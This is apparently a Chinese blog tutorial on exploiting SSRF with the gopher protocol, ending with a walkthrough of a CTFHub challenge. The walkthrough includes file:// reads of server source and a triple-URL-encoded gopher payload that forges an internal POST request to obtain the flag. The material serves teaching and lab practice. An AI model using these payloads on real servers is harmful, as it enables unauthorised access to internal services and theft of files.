SSRF之gopher协议深度解析

SSRF之gopher协议深度解析

什么是gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议。

各语言gopher的使用版本限制:

图片[1]-SSRF之gopher协议深度解析-能不能吃完饭再说

gopher协议的使用格式(注意 _ 必须):

URL:gopher://<host>:<port>/<gopher-path>_TCP数据流

注意

  • gopher的默认端口是70。
  • 如果发起post请求,回车换行需要使用%0D%0A,如果多个参数,参数之间的&也需要进行URL编码。

使用gopher协议发送HTTP请求

前置知识

在ubuntu使用Gopher协议发送一个请求。

首先nc启动一个监听端口6666。

nc -lp 6666

图片[2]-SSRF之gopher协议深度解析-能不能吃完饭再说

再打开一个终端,curl发送请求,此时n监听端口收到数据。

curl gopher://127.0.0.1:6666/_hello

图片[3]-SSRF之gopher协议深度解析-能不能吃完饭再说

所以利用gopher发送http请求就是直接构造一个原始的http请求包作为参数传入。

第一步,构造http请求包

第二步,进行url编码,将回车换行编码为%0D%0A

第三部,发送gopher协议

例如get型的http请求。

GET /get.php?a=hello HTTP/1.1
Host: 127.0.0.1

需要注意的是,pos请求t有4个参数为必要参数。

POST /post.php HTTP/1.1
host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
 
a=hello

巩固一下,做道题吧。

例题-SSRF之POST请求

题目来源CTFHub。SSRF系列-POST请求。

dirsearch扫描

先用dirsearch扫一下,发现了flag.php。

python dirsearch.py -u http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=127.0.0.1

看一下flag.php,给了我们一个key。

<!-- Debug: key=5b69b89c146e1ed3b90708ffa267f06a -->

图片[4]-SSRF之gopher协议深度解析-能不能吃完饭再说

读取flag和index源码

用file协议读取index.php

http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php

index.php如下

<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>

在index.php中可以利用curl传url。

读取flag.php

http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

flag.php如下

<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

分析代码,只需要往flag.php里面传我们前面得到的key即可拿下flag。

构造payload

构造POST请求包。POST包必须包含的四个参数。

gopher默认发送到70端口,我们一般发送到80端口。

POST /flag.php HTTP/1.1
host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=5b69b89c146e1ed3b90708ffa267f06a

进行三次url编码,第一次编码后%0A需全部替换成%0D%0A。

POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250Ahost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D5b69b89c146e1ed3b90708ffa267f06a

图片[5]-SSRF之gopher协议深度解析-能不能吃完饭再说

------本页内容已结束,喜欢请分享------

文章作者
能不能吃完饭再说
隐私政策
PrivacyPolicy
用户协议
UseGenerator
许可协议
NC-SA 4.0


© 版权声明
THE END
喜欢就支持一下吧
点赞24赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片